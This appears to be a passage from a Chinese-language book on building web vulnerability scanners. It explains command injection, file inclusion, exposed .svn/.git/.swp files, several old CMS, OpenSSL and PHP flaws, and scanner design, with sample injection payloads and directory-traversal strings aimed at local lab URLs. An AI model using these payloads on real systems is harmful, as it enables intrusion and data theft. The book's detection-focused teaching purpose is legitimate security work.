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访问链接http：//localhost/book/cmd/1_cmd.php？data=test；id；。

测试效果如下：
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从上面的效果截图中可以看到，程序除了成功执行ls命令外，还执行了额外的id 命令，从而成功完成命令执行注入攻击。

场景2 将前端获取的变量通过单引号或双引号，代入命令执行函数中。

后端代码：
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由于可控变量在单引号之间，所以需要先对单引号进行闭合，然后再利用分号的特性进行后续的命令注入，因此可以构造如下的payload进行检测。

前端输入：
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访问链接http：//localhost/book/cmd/2_cmd.php？data=test'；id；'。

测试效果如下：
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场景3 将用户的输入赋值给某个变量。

后端代码：

[image: ]


在对场景3进行分析之前，我们需要先来了解一下PHP的一些特性。在PHP中，字符串的定义可以使用单引号，也可以使用双引号。它们的区别是：双引号串中的变量将被解析而且替换，而单引号串中的内容总被认为是普通字符，不具备任何解析功能。下面分别对可变变量、可变函数和print函数进行讲解。


1.可变变量


PHP中提供了一种其他类型的变量，称之为可变变量。就是说，一个变量的变量名可以动态设置和使用。例如一个普通的变量通过声明来设置，如下：
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一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。在上面的例子中，hello使用了两个美元符号（$）以后，就可以作为一个可变变量的变量了，如下：
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这时，我们会发现这里定义了两个变量：变量$a的内容是“hello”，并且变量$hello的内容是“world”。也可以用下面的语句来定义，它们的效果是一致的，如：
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这里使用“${$a}”来替换“$$a”，主要利用大括号在变量间接引用中进行定界，避免歧义。


2.可变函数


PHP同时也支持可变函数。这意味着如果一个变量名后有圆括号，PHP将寻找与变量的值同名的函数，并且尝试执行它。例如：
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代码中的“$a（）”属于可变函数，结合可变变量的用法，这里以函数来替换变量，即为：${print（md5（imiyoo））}。这样就可以执行 print（）函数了。由于 print 函数比较特殊，这里有必要说明一下。


3.print函数


print函数实际上不是一个真正意义上的函数，而是一个语前结构，因此它可以不必使用括号。但由于它具备函数的形式，所以也可以使用带括号的形式。写成如下的形式也是可以的：
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执行的效果如下：
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那么现在针对场景三，我们可以构造如下的语句进行测试。

前端输入：
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访问链接http：//localhost/book/cmd/3_cmd.php？data=test；${print（md5（imiyoo））}。

测试效果如下：
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场景4 将用户的输入以单引号或双引号的形式赋值给某个变量。
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由于变量在单引号里面，因此需要先将两边的单引号闭合，然后用分号来分割语句，这样就能执行PHP代码了，构造输入如下。

前端输入：

[image: ]


访问链接http：//localhost/book/cmd/4_cmd.php？data=test'；${print（md5（imiyoo））}；'。

测试效果如下：
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场景5 将用户的输入作为数组的key进行赋值。
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这里前端输入的变量作为数组的key，为了执行代码，需要从key的位置中跳出来，因此可以通过下面的形式进行闭合，构造如下语句。

前端输入：
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访问链接http：//localhost/book/cmd/5_cmd.php？data=test＂]=1；${print（md5（imiyoo））}；//。

测试效果如下：
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提示：


命令执行注入的漏洞场景还有很多，这里就不再列举了。我们可以通过对这些场景进行分析和总结，然后有针对性地补充和精简扫描的 payload，这样就可以让扫描器通过最少的请求覆盖更多更全的漏洞场景，从而提高扫描能力。

下面讲一下命令执行注入的检测原理。

首先，需要结合漏洞的场景，对原有的语句逻辑进行闭合。

然后，通过特性字符或特性用法注入有预期输出的命令语句。

最后，根据响应输出的内容进行漏洞判定。

如果目标存在命令注入执行漏洞，那么预期的内容就会显性地输出到页面。同理，如果目标不存在该漏洞，那么页面就不会出现预期的内容。

下面构造该漏洞对应的扫描载荷，将命令执行注入漏洞的场景及检测数据整理如下表：
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该漏洞场景实质上覆盖了两类情况：一类是系统层面的命令执行；另一类是应用层面的命令执行。由于它们的命令特征函数并不相同，因此可以分类对其进行检测。

根据上面的检测原理和对应的扫描载荷，来实现针对命令执行注入漏洞的检测，部分代码如下：

[image: ]


[image: ]


[image: ]


接下来，对上面所描述的漏洞场景进行测试和验证，具体的效果如下：
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5.2.4 文件包含漏洞

文件包含漏洞可以分为两种，一种是远程文件包含，简称RFI。服务器通过PHP的特性（函数）去包含远程文件时，由于要包含的这个文件来源过滤不严，导致可能包含一个恶意的文件，而我们则可以构造这个恶意文件来达到攻击的目的；另一种是本地文件包含，简称LFI。程序员们为了开发的方便，常常会用到文件包含的功能。比如，把一系列功能函数都写进fuction.php中，之后当某个文件需要调用时就直接在文件头中进行包含引用，这时就可以调用其内部定义的函数。如果程序员未对用户可控的变量进行输入检查，那么就会导致用户可以控制被包含的文件。攻击者可以包含特定的文件执行，从而对目标进行攻击。

其实这两类漏洞并没有太多本质上的区别，只不过在检测时远程文件包含需要加载远程有预期输出的文件，而本地文件包含则是加载本地有预期输出的文件，所以笔者在这里就不做区别对待了。在本节中我们主要学习本地文件包含漏洞的检测，感兴趣的读者也可以下去实现远程文件包含漏洞的检测。

下面是本地文件包含漏洞场景。

场景1 将前端获取的变量直接传递给文件包含函数。

后端代码：
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这里将前端获取的文件名直接传递到文件包含函数中，中间没有任何过滤，因此我们可以控制包含的文件名变量。当前端输入如下的内容：
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那么就可以直接读取Linux系统中的账号和密码文件了，如下图：
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但在实际的测试中，像lnmp这种一键集成环境部署工具本身就已做过一些安全加固措施，在网站的根目目下有一个名为.user.ini的隐藏文件，它会限定文件读取的目目，内容如下：
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因此，我们只能在限定路径外去寻找有预期输出的文件进行漏洞判定。针对当前的环境，有下面两种方式：

一种是利用/proc/目目下的文件，Linux内核提供了一种通过/proc文件系统，在运行时访问内核内部数据结构、改变内核设置的机制。它以文件系统的方式为访问系统内核数据的操作提供接口，用户和应用程序可以通过proc得到系统的信息。该目目下可作为预期输出的文件，如下表：
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另一种就是有针对性地去找一些系统默认的配置文件和隐藏文件，比如，在当前的 lnmp环境下，可以通过隐藏文件.user.ini进行漏洞检测和判定。

为了描述简单和易于理解，这里用第一种方法进行语句构造。

前端输入：
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访问链接：http：//localhost/book/lfi/1_lfi.php？data=/proc/meminfo。

测试效果如下：
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场景2 将前端获取的变量名通过拼接目目名，直接传递给文件包含函数。

后端代码：
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代码中的文件名前面还有目目名，程序员本来是想只允许包含该目目下的文件，但由于这里并没有任何限制，因此，可以利用目目跳转“../”进行突破，跳出当前所在的目目，这样就又可以包含任意文件了。由于这里并不知道上级目目的级数，没有合适的参考路径，所以需要用多级目目跳转，直至根目目，然后从根目目开始选择有预期输出的文件，因此构造如下的语句。

前端输入：
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注意：


一般应用的Web目录不会超过10级，所以这里用10个目录跳转符进行构造和演示。在实际检测中，可以选择使用更多目标跳转符。

访问链接http：//localhost/book/lfi/2_lfi.php？data=../../../../../../../../../../proc/meminfo。

测试效果如下图：
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场景3 将前端获取的变量通过拼接扩展名，然后直接传递给文件包含函数。
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这里程序限制了文件的扩展名，由于只能包含特定扩展名的文件，这样就不能包含有预期输出的文件了，所以也就无法进行正常的检测。但是可以利用字符串截断的特性进行突破：

%00截断

十六进制0x00是字符串结束的标志。如果是字符串类型，在遇到0x00时就会截断，其后的字节不会再作为字符串的内容。这样就可以利用0x00来截断后面的扩展名，从而可以包含任意文件。%00是0x00在URL中的表现形式，因此可以构造如下的语句进行检测：
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长度截断

通常Windows的截断长度为240，Linux的截断长度为4096。由于Windows和Linux的文件名都有一个最大路径长度（MAX_PATH）的限制，因此当提交文件名的长度超过了最大路径长度的限制时就会截断后面的内容，从而可以无障碍地包含任意文件。在实际的测试中，可以用一定数量的字符“.”、“/”或者“./”来突破操作系统对文件名的最大长度限制，截断后面的字符串。

不过%00截断和长度截断在PHP 5.4以上版本都已经修复，因此在测试环境中并不能重现，但它仍然是一类重要的漏洞场景。

文件包含漏洞的检测其实相对简单，因为它有非常明显的输入和输出，所以只需要根据不同的漏洞场景，通过构造语句读取有预期输出的文件，然后通过相应的特征匹配，就可以实现漏洞检测。如果目标存在漏洞，那么对应的文件就会被读取，而文件中的内容也会被输出到响应页面中，这样就可以根据文件的内容特征进行匹配，从而进行后续的漏洞判定。

扫描载荷的情况如下表：
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在文件包含的检测中，经常会碰到一种情况：在原始响应页面中就存在特征内容，这样就会造成明显的误报，因此需要先对原始请求的内容进行预判，然后再进行对应的漏洞检测。具体的核心检测代码如下：
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现在利用它来对文件包含的漏洞场景进行检测，测试的效果如下图：
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5.2.5 敏感文件泄露

敏感文件泄露主要由于人为的疏忽或工具的特性等原因所致。由于没有技术含量，所以经常不被人重视。但它却最容易导致服务器被攻击和入侵，攻击者利用这些细节可以有效地探测到敏感文件信息，而这些敏感文件通常包含账号、密码等重要信息，然后利用这些账号信息访问未授权系统实现进一步攻击，从而完成最终的入侵和数据窃取。

下面是敏感文件泄露漏洞场景。

场景1 管理员为了对网站数据进行备份，直接对网站目目下的所有文件打包，并将其存放在网站的根目目下。同时为了简单易记，通常会将其命名如：wwwroot.rar、wwwroot.zip、1.zip、w.zip、bak.zip等，而网站目目中的这些文件，在没有额外控制策略的情况下，任何人都可以直接访问和下载，如下图：
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场景 2 开发人员在使用版本控制工具（如：GIT、SVN、CVS 等）进行项目部署时，没有删除根目目下的隐藏备份文件。攻击者利用这些文件可换取项目源代码或配置文件等敏感信息，从而完成后续的攻击和入侵。

这里举两个典型的漏洞场景：SVN敏感信息泄露和Git敏感信息泄露，下面分别进行讲解。


SVN敏感信息泄露


SVN（Subversion）是一个自由、开源的项目源代码版本控制工具。目前，绝大多数开源软件和企业代码管理，都使用SVN作为代码版本管理软件。开发人员使用“svn checkout”来检出项目代码时，在项目根目目下会有一个隐藏目目.svn，内容如下：
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其中，项目源码文件都备份在pristine目目下，wc.db是一个SQLite数据库文件，里面记目着项目源码文件在pristine目目下的对应路径，可以通过下面命令获取：
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而对于SVN的1.6.X及以下版本，则可以通过对.svn隐藏目目中的entries文件进行解析，这样就可以获取项目源码的目目结构和文件内容。entries文件的解析也非常简单，如下：

[image: ]


[image: ]



注意：


SVN的1.6.X及以下版本是在每个文件夹都生成一个.svn隐藏文件夹，而SVN的1.7.X版只在版本库根目录下生成一个.svn隐藏文件夹。当给线上环境进行项目部署时，需要删除.svn隐藏目录，或使用svn export进行项目部署；也可以在服务器上进行配置，禁止访问.svn目录。


Git敏感信息泄露


Git是一款免费、开源的分布式版本控制系统，用于敏捷高效地处理任何或小或大的项目。很多企业也会选择使用它作为代码版本控制。当使用git clone进行线上项目部署时，git会把项目的信息隐藏在一个.git的文件夹里，如下：
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其中，index文件实际上是一个包含文件索引的目目树，它记目了文件名、文件内容的SHA1哈希值和文件访问权限。ojbects目目中存放着所有Git对象，也包含项目源码的备份文件。通过对index文件进行解析，就能找到源文件在objects目目的对应关系，从而获取对应的源文件内容。

可以用git ls-files-stage命令来解析index文件，如下：
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备份文件对象在 objects 目目的存储原则为：SHA1 哈希值的前两位是文件夹名称，后 38位作为对象文件名。比如，上图中README.md的文件SHA1哈希值为：adeb458def7e52e3ab1 b4ac586ac49ef49c5b373，那么对应的文件路径则为：objects/ad/eb458def7e52e3ab1b4ac586ac 49ef49c5b373，两个文件的内容是一致的，如下。

查看备份文件的内容：
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查看项目文件的内容：
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在Git系统中，备份文件对象有两种存储方式，一种是松散对象存储，就是前面提到的；另一种是打包对象存储，它会对松散对象中的文件进行打包存储，此时objects的目目结构如下：
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如果要想获取项目源文件信息，那么需要先对其进行解包，然后按照松散对象的方式来获取，解包的具体操作方式如下：
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至于打包文件的文件名，可以从objects/info/packs中获取，当使用git gc命令对松散对象进行打包时，会在objects/info/packs文件中记目打包对象的文件名信息，如下：
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场景3 如果开发人员在线上环境临时修改代码，那么一些工具会自动产生对应的备份文件。一旦疏忽，Web目目中就会留下.bak、.swp、.old或～等扩展名的备份文件，特别是一些数据库配置文件。攻击者可以根据这个特性探测和获取目标的敏感信息。比如，Linux 下常用的编辑器Vi，其特性为：当使用Vi打开一个文件时，在同目目下会生成一个swp扩展名的隐藏文件，它主要起到临时备份和还原的作用。如果文件正常退出，那么这个文件会自动删除，没有影响；但如果文件异常退出或处于正在编辑时，那么这个文件就会持续存在。此时攻击者就可以下载该文件来获取敏感信息，如下图：
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然后通过vi-r即可恢复，如下：
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查看config.php文件的内容，如下：
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当然，这样的漏洞场景还有很多，读者可以多注意一下开发人员常用的软件及运维人员的习惯，并收集和积累类似的场景，从而进一步完善自己的扫描器，这里就不过多地占用篇幅了。

下面讲一下敏感文件泄露的检测原理，主要分为以下两类：


1.压缩、备份类文件检测


对于压缩类的文件检测，只需要构造文件对应的URL，然后向目标请求该URL，根据HTTP响应中的状态码及文件类型进行判断。在这里其实并不需要获取HTTP响应中的响应体信息，只需要通过响应头的Content-type字段的值即可判断。为了提高检测效率，可以使用HTTP请求中的HEAD方法进行快速处理；而对于备份类的文件检测，只需要关注动态脚本文件，并根据脚本语前的源码特征进行检测即可。


2.版本类文件检测


版本类文件的检测，可以根据特征文件的Content-type进行判断。对于SVN1.6.X 及以下的版本，可以通过.svn/entries文件进行检测；对于SVN1.7.X以上的版本，可以通过.svn/wc.db文件进行检测；对于Git敏感文件泄露，可以根据.git/index这个文件进行检测。这些文件都属于二进制流文件，因此其Content-type类型都是application/octet-stream。

在敏感文件的检测中，会对常见的压缩文件、备份文件和版本文件进行探测和验证，查看目标是否存在敏感文件泄露，下面是这两类文件检测的代码实现。

压缩、备份类文件检测的部分检测代码如下：
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版本类文件检测的部分检测代码如下：
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同样，用对应的漏洞场景进行测试，具体的执行效果如下：
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5.3 Nday/0day漏洞审计

前面已经讲过了通用型漏洞审计，但还有一类漏洞，相对于通用型漏洞，并不具有普遍性，而只适用于某一类特定的应用，我们将其称为Nday/0day漏洞审计。由于它的审计具有明显的应用针对性，为了明确这种针对性，通常将其与应用指纹识别进行联动。只有当目标被识别出对应的应用指纹，才会对其进行Nday/0day漏洞的扫描和验证。这样做的好处就是：可以避免对无效目标发送扫描载荷（payload），减少无意义的网络消耗，从而提高扫描器的效率。

Nday/0day 漏洞的审计，是需要漏洞知识库来支撑的，漏洞知识库所积累的漏洞越多，扫描器所能检测的漏洞也就越多，核心指标检出率就会提升。所以说，一个好的扫描器需要有一个强大的漏洞知识库。因此需要对Nday/0day漏洞进行分析和审计，并将它们目入扫描器的漏洞知识库中。在这里，笔者选取了4个具有代表性的漏洞来介绍Nday/0day漏洞审计的特点和要求。

5.3.1 Discuz！7.2 faq.php SQL注入漏洞

Discuz！是康盛创想（北京）科技有限公司（英文简称Comsenz）推出的一套通用的社区论坛软件系统，其基础架构采用世界上最流行的Web编程组合PHP+MySQL实现。它是一个经过完善设计，适用于各种服务器环境的高效论坛系统解决方案。

Discuz！7.2是其2010年推出的一个版本，虽然现已暂停更新，但使用者还是很多。该漏洞是2014年7月份被国内安全人员爆出来的，攻击者利用该漏洞可以获取账号信息和UC_KEY，有可能进一步直接获取WebShell，危害非常大。

漏洞产生在文件faq.php中，问题代码如下：
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在代码中，首先定义了一个数组$groupids，然后遍历$gids，将其数组中所有值的第一位取出来放到$groupids 中，最后将$groupids 传入implodeids函数，该函数会将数组中的元素组合成字符串拼接到SQL语句中，如下：
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其中，变量$gids 是从客户端直接获取的，这里是可以控制的，但由于 Discuz 的代码中有 SQL 防注入过滤操作，它会对客户端的恶意输入进行转义操作。如果$gids 的输入为特殊字符，程序就会对其进行转义操作，而此时数组中的第一个字符就是转义符号，按照之前的处理逻辑，此时程序就会将含有转义功能的转义字符代入 SQL 语句，从而导致部分数据可以逃逸出字符串的边界变成SQL语句指令，产生SQL注入漏洞。

对于该漏洞的检测，可以将payload按照下面的形式进行构造：
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其中，gids[10]的值为特殊符号，它的目的是触发Discuz的转义操作，引入转移字符到SQL语句中，gids[11][0]的值则为逃逸出来的执行内容。由于这里的SQL语句并没有明显的输出内容，但Disucz会将MySQL运行中的错误信息打印出来，因此可以采用报错注入的方式进行检测。这里需要注意的是，扫描器作为漏洞检测和验证的工具，不应该对目标造成损害或数据泄露，所以执行内容的构造就显得尤其重要。对于检测和验证而前，只需要执行有预期输出的语句即可，没必要读取数据库中的真实数据。可以按照下面语句形式构造报错注入语句进行检测，如：
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常用的MySQL报错注入探测语句有：
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这里用逻辑或运算进行floor（）类型的报错注入检测，如下图：
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在该类漏洞的实现中，我们针对漏洞数据自身的操作做了一层简单的封装，封装代码比较简单，这里就不单独进行介绍了，主要目的是可以将漏洞的操作与漏洞的检测区分开来，这样就可以在代码中更加专注地去实现漏洞检测，部分核心代码如下：
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5.3.2 Dedecms get webshell漏洞

Dedecms，又名织梦内容管理系统。以简单、实用、开源而闻名，是国内最知名的PHP开源网站管理系统，也是使用用户最多的PHP类CMS系统。该漏洞于2011年8月份被安全宝的安全研究人员捕获发现，Dedecms get webshell漏洞主要由全局变量覆盖所致，攻击者通过提交精心构造的变量，就可以覆盖数据库配置文件中的全局变量，从而导致受害网站会反向连接攻击者指定的数据库，并读取相关的内容执行。攻击者利用该漏洞可以直接向受害网站写入Webshell。

漏洞代码产生在/include/common.inc文件中，如下：
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它允许客户端对程序中的变量进行注册和覆盖，攻击者可以通过提交全局变量来覆盖数据库配置文件中的信息。这样，文件/plus/mytag_js.php在执行过程中，就会从指定的数据库中读取指定的数据记目，并将读取的内容赋值给$tagbody，最后以Dede模版形式将$tagbody写入缓存文件中，如下：
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这样，攻击者就能够控制写入缓存文件中的内容，同时借助Dedecms模板执行PHP脚本的功能，最终产生了get webshell漏洞。

对于get webshell这种类型漏洞的检测，可以通过向目标写入包含特定内容的文件进行检测。由于 Dedecms 的模板功能具有执行 PHP 代码的特性，因此按照下面的形式设置变量$tagbody，就可以在服务端写入文件，如下：
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这里需要注意文件覆盖的风险，因此，用特征字符串的Hash值作为文件名，来保证其唯一性。同时，为了保持目标的完整性，降低扫描对其的影响，因此在文件中增加了自删除的操作。当漏洞确认后，该文件会自动删除，避免破坏目标的完整性，所以可以将变量$tagbody的内容设置为：
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然后构造请求来覆盖服务端的变量，让其读取外部数据库的内容并执行，这样就会在对应的目目下生成特征文件，如下：
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根据上面的检测流程，实现针对该漏洞的检测，部分核心代码如下：
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5.3.3 Heartbleed漏洞（CVE-2014-0160）

2014 年 4 月 7 日，OpenSSL 发布了安全公告，在 OpenSSL1.0.1 版本中存在严重漏洞（CVE-2014-0160）。OpenSSL 的Heartbleed 模块存在一个bug，该漏洞导致攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中多达64KB的数据。

我们知道，SSL 是一个安全协议，OpenSSL 是 SSL 协议及一系列加密算法的开源实现。它实现了SSL协议中的绝大部分算法协议，其中包括SSLv2、SSLv3和TLSv1.0，可以在用户与大多数网络服务提供的服务器之间进行加密通信。

Heartbleed 漏洞，国内意为“心脏出血”漏洞，它是一个非常严重的漏洞，攻击者利用这个漏洞可以直接从内存中读取多达64KB的数据。这个漏洞到底有多严重？据说当时全球三分之二的网站可能受到影响，波及网银、电商、邮件服务等多种涉及个人账号及密码的服务。

OpenSSL在实现TLS和DTLS中的心跳请求包处理逻辑时，存在编码缺陷。它没有检测心跳请求包中的长度字段是否和实际的数据字段匹配，从而导致内存中的数据泄露。用户向服务端发送的心跳包数据中有两个字节是用来表明数据长度的，而服务端直接利用这个长度来申请内存空间，并填充数据进行响应。在正常的情况下，心跳响应包中的数据就是心跳请求包中的数据；而在异常的情况下，当用户设置的长度大于实际发送的数据包长度时，服务端就会发送超出实际长度的内存数据。由于用户设置的长度是用两个字节来表示的，216
 =64KB，这也就是为什么每次最多会造成64KB的数据泄露，但是攻击者可以利用时间换取空间的方式，对目标进行持续多次攻击，这样就会获取更多的数据，而这些数据中可能就包含了证书私钥、用户账号、用户密码等敏感信息。

下面先来看看漏洞触发的过程。首先，需要与目标建立SSL连接；然后，将心跳请求包中的payload_length字段设置为0x4000，即214
 =16KB，更精确来说是16384字节。但实际payload中并没有数据，如下：
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这时心跳响应包中的数据长度也为16384字节，实际读取到服务端的内存数据为16365字节，如下：
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因此，可以根据预设的长度与响应数据的长度进行漏洞判定。那么，如何对 OpenSSL 这类指纹进行识别呢？它其实并没有明确的特征，不过可以按照服务端口进行粗略识别，如下：
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可以看到上面的这些端口都支持TLS/SSL，因此，它们都有可能存在漏洞。如果目标开放了上列端口，那么就需要对其进行检测。

根据上面的检测流程，实现针对该漏洞的检测，部分核心代码如下：
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5.3.4 PHP multipart/form-data远程DDoS（CVE-2015-4024）

2015年5月14号，笔者的同事向PHP官方提交了一个关于PHP的远程DDoS漏洞，当时几乎影响所有的 PHP 版本，攻击者通过向目标服务器发送恶意的请求，就能导致服务器的CPU资源耗尽，危害非常大。

PHP脚本引擎在解析multipart/form-data形式的POST请求时，请求中的body数据处理存在缺陷，如果每行的字符串不以空白符开头且不存在字符“：”，那么就会触发合并value的代码块，内容如下：
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如果value的值存在n行，那么header的value就要执行n-1次合并的代码块，而该代码块中存在1次内存分配，2次内存复制，1次内存释放。当value的行数越来越多时，如果按照每行一个字节，复制一个字节为时间复杂度单位M，那么每一次合并操作的复杂度为O（M），这时再乘以value的行数，那么时间复杂度就是O（n*M），所以当value的长度和行数都在持续增大时，CPU的资源就容易耗尽。

从漏洞的描述来看，该漏洞是针对 PHP 脚本引擎的，因此可以通过语前层的应用指纹进行识别。如果目标应用使用了 PHP 语前，它就有可能存在该漏洞。该漏洞的危害也是非常大的，它会使目标的CPU性能殆尽，如下：
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对于DDoS这种资源消耗型的漏洞，其实并没有显式的检测特征，但可以用对比分析法进行检测，通过比较正常情况与异常情况之间的响应时间差进行漏洞判定，比如：我们可以通过发送三次请求进行检测，而且每次发送的数据长度相同，第一次利用payload进行填充发送，并记目从发送请求到接收响应的时间为A；第二次和第三次均利用随机数据进行填充发送，并记目各自的响应时间为B、C。如果A与B的时间差大于B与C的时间2倍以上，那么目标就可能存在漏洞。

根据上面的检测流程，实现针对该漏洞的检测，部分核心代码如下：
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第6章 扫描器进阶

前面5章学习了Web爬虫和漏洞审计等相关知识，相信读者已具备了一定的扫描器基础，但是仅靠这些内容还是不足以编写扫描器，比如：扫描器的工作流程是什么，它需要具备哪些功能，这些功能又是如何工作的，以及如何对它们进行合理调度等。在本章中，笔者将会给出相应的答案，同时将从整体、全局的角度来设计和实现扫描器。

6.1 扫描流程

在本书的开篇就已经介绍过，不同的角度和目标对扫描器的要求和实现也定会不同。站在安全测试人员的角度来看，扫描器的目标其实就是为了提高渗透测试的效率，通过对渗透测试中的标准环节实现自动化，从而减少重复的人工测试工作。

为了能够更加清楚地知道扫描器的工作流程，这里有必要先来梳理一下人工渗透测试的流程与步骤，如下图：
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虽然扫描器是以渗透测试的角度和目标来实现的，但它们还是有区别的。

扫描器更多的职责在于漏洞发现和漏洞验证，不应对目标造成攻击或破坏。通常它只需要点到即止，确认目标是否存在漏洞即可，而不会对漏洞进行后续的深度利用。

渗透测试则不一样，它是以人来驱动的，会对发现的漏洞进行深度利用，以获取目标的权限和数据为目的。同时，为了保障业务的正常运行，在渗透测试过程中，如果涉及对目标完整性破坏的操作，都需要与客户进行协商，在得到客户的授权后才能进行。它更倾向于真实的攻击，让管理员能实际地感受到系统存在的风险，以及可能造成的损失。

举个例子来说，假设目标存在一个 SQL 注入漏洞。扫描器只能告知这个目标是否存在漏洞；而渗透测试不仅能告知目标是否存在这个漏洞，同时还能告知攻击者是否可以利用该漏洞拿到服务器权限或数据，是否能够入侵内网等后续信息。

因此可以得出：与渗透测试相比，扫描器不应该包含漏洞的后续利用环节，它只需要验证漏洞的真实性即可。所以，扫描器的工作流程可以简化如下图：
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下面分别进行讲解。


1.信息收集


信息收集主要是围绕目标来展开的，尽可能多地收集与目标相关的信息。它是扫描流程中的第一个环节，在这个环节中，需要获取的主要信息有：IP信息、子域信息、敏感信息、指纹信息和URL（超链接）信息。

IP信息

IP是目标在互联网上的地址标识。获取目标的IP或IP段信息，并查看这些IP对外开放的端口，就可以知道每个IP都提供哪些服务，然后根据这些服务特点有针对性地进行扫描检测。子域信息

企业通常会把不同的业务放在不同的二级域名下，比如，www.anquanbao.com 其实只是anquanbao.com根域下的一个叫www的二级子域名。而安全其实是一个整体的概念，系统的安全性取决于其最薄弱的环节。攻击者收集目标所有对外可访问的子域信息，其实就是在寻找目标中最薄弱环节，这样才可以更加高效地攻破系统。因此，需要对所有的子域进行扫描检测。

敏感信息

敏感信息涉及的内容比较多，主要体现为人员意识不足，通过这一点可以轻松地获取目标的授权信息或程序代码，从而直接完成入侵过程。常见的敏感信息有以下几类：

敏感目目、文件。比如备份文件、管理后台、未授权访问的后台页面等。

邮箱、账号、密码等信息。

数据库账号和密码、服务器IP和私钥等。

指纹信息

收集所有子域名的指纹信息，并查看这些指纹信息是否存在可供利用的Nday漏洞。

URL超链接信息

通过爬虫的方式，获取目标中所有带参数输入的 URL 信息，以便后续对其进行安全漏洞审计。


2.漏洞审计


漏洞审计是扫描流程中的第二个环节，它需要对收集的内容进行漏洞审计。通常由两部分组成：一部分为漏洞测试，主要目的是保证能够有效地检出漏洞，即检出率；另一部分是漏洞验证，在漏洞被检出后，还需要通过一定的方式来验证漏洞的准确性，避免误报，即准确率。

根据上面信息收集所获取的内容，在发现和验证这个环节需要处理的事情有：

服务端口的漏洞审计

对开放的端口进行暴力破解，进行端口弱口令审计。

HTTP（s）请求的漏洞审计

对爬虫爬取到的URL或HTTP（s）请求进行漏洞审计。

POC/0day漏洞的漏洞审计

对目标的指纹信息进行漏洞关联，进行POC/0day漏洞审计。


3.测试报告


它是扫描流程的最后一个环节。在这个环节中，主要处理的是制订数据的内容标准及对数据的加工和输出。简单来说就是，需要将扫描过程中所获取的信息，以及检测出的漏洞，按照报告标准进行输出，形成最终的可视化扫描报告。

6.2 软件设计

在进行扫描器设计之前，首先需要明确两个基本的设计原则：高内聚、低耦合。下面分别进行介绍。


1.高内聚


高内聚是指，在设计某个模块时，模块内部的一系列功能相关程度的紧密。所以它对设计的要求就是，把相关的功能内聚到一起。那么，如何来界定高内聚呢？

举例来说明下，系统中A、B两个模块进行交互，如果修改了A模块，不影响B模块的工作，那么A模块可以认为有足够的内聚。


2.低耦合


低耦合则是用来度量模块与模块之间的依赖关系。

举例说明，如果A模块与B模块存在依赖关系，那么当B发生改变时，A模块仍然可以正常工作，那么就认为A与B是低耦合的。

在对扫描器的功能进行划分时，应该充分遵循这两个原则：模块的职责功能需要单一，模块中关联的功能尽量在同一个模块中去实现，满足高内聚；每一个模块只负责一个功能，保证每个功能模块都是独立的，减少相互之间的依赖关系，满足低耦合。

6.3 功能模块

在清楚了扫描器的工作流程和设计原则后，下面就来对扫描器进行功能模块划分。将每个工作流程中需要处理的内容抽象成基础的功能模块，如下：


1.端口模块


主要负责IP/端口的信息收集，以及对常见端口的暴力破解。


2.域名模块


主要负责对目标根域名的二级域名或子域名进行信息收集。


3.探测模块（敏感信息）


主要负责获取目标的不可视URL，以及各类敏感信息。


4.指纹模块


主要负责获取目标的指纹信息，以便和漏洞知识库进行联动检测。


5.爬虫模块


主要负责爬取目标所有页面的可视URL，然后将这些URL提供给漏洞检测模块进行安全漏洞审计。我们知道，URL 信息其实可以分成两类，一类称为可视 URL，可以通过对页面的爬行获取，根据本书第2章、第3章讲的内容即可实现；另一类则称为不可视URL，它与页面内容并没有直接联系，主要通过 URL 路径字典进行暴力枚举获取，这部分内容笔者将其放在探测模块中去实现。


6.漏洞检测模块


主要负责对HTTP请求进行漏洞审计，找到目标的漏洞，并对漏洞进行简单验证。在安全漏洞审计中，我们已经介绍过，漏洞检测模块分为两类：一类是通用漏洞检测模块；另一类是Nday/0day 漏洞检测模块。


7.扫描引擎


主要负责扫描器整体工作的调度与协调，它是扫描器设计中的的核心部分，体现着开发人员对扫描器的理解，是区别于其他扫描器的独特存在。它会对各个扫描功能模块进行合理调度和执行，按照开发人员的思路对目标进行“安全测试”工作，并最终生成对应的漏洞扫描报告。8.报告模块


主要负责将扫描过程中的数据和结果生成最终的扫描报告。

6.4 软件架构

为了让扫描器的开发和维护更加高效、更有条理，按照分层思想，可以将扫描器的软件架构分为三层进行构建和开发，如下：
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1.核心层


核心层是扫描器的核心代码部分，主要负责功能和任务的调度，对其他的相关功能模块或组件进行整合，并控制和协调整个扫描过程。


2.中间层


中间层由一些通用的辅助模块或组件构成，主要提供一些基本的辅助功能，以便其他模块进行调用。

各类基础数据的封装，如：URL和HTTP；

频繁的网络IO操作，如：HTTP请求的发送；

各种通用事件处理，如：日志的管理和线程管理等。


3.功能层


功能层由具体的功能模块代码组成，也就是之前划分的功能模块，如：端口扫描与破解、子域名收集、敏感信息手机、指纹识别、通用漏洞审计和Nday/0day 漏洞审计等。


备注：


为什么要对扫描器进行分层处理？一方面它可以将核心引擎与功能模块进行松耦合，方便后续引擎的重构和功能的扩展，因为它们之间相互不影响；另一方面它可以保证每一层的功能和作用明确，便于代码的维护和更新。它将扫描系统按照功能模块进行拆分，每个功能模块都以单一的扫描功能进行聚合，实现高内聚。从整体来看，这样的扫描系统具有良好的扩展性，划分的功能模块又具有高内聚，而且每个功能模块又都是松散的耦合，可以单独运行和调试，满足模块之间的低耦合。

6.5 数据结构

在扫描器的实践中，还需要设计相应的数据结构，利用它们来对扫描过程中的数据进行操作和存储。由于这里的扫描结果信息相对简单，所以可以直接使用JSON进行处理。JSON 是一种轻量级的、基于文本的数据交换格式。它仅仅靠特定的字符格式就能很方便地传递字符信息。这里，我们设计下面的数据结构来记目扫描结果数据，如：
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6.6 功能实现

下面根据扫描流程的内容，依次来实现对应的功能模块：IP/端口扫描和检测、端口破解模块、子域名信息枚举，以及文件、目目暴力枚举等。

6.6.1 IP/端口扫描和检测（端口模块）

通常扫描器的输入为网站信息，因此，首先需要获取该网站所对应的IP地址信息。在Python中，内置的socket模块提供了对应的功能函数，通过函数gethostbyname就可以获取网站所对应的IP地址，如下：
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注意：


这里获取的IP地址，其实是DNS服务器解析出来该网站对外的IP地址。如果网站前端使用了代理或WAF等安全防护措施，那么它就不是真实的后端IP地址，这样就会对后面的端口扫描产生一些干扰。通常安全人员会用一些其他的方式获取网站的真实IP地址，比如：第三方域名服务的历史解析结果、子域名的IP段信息或网站漏洞等。

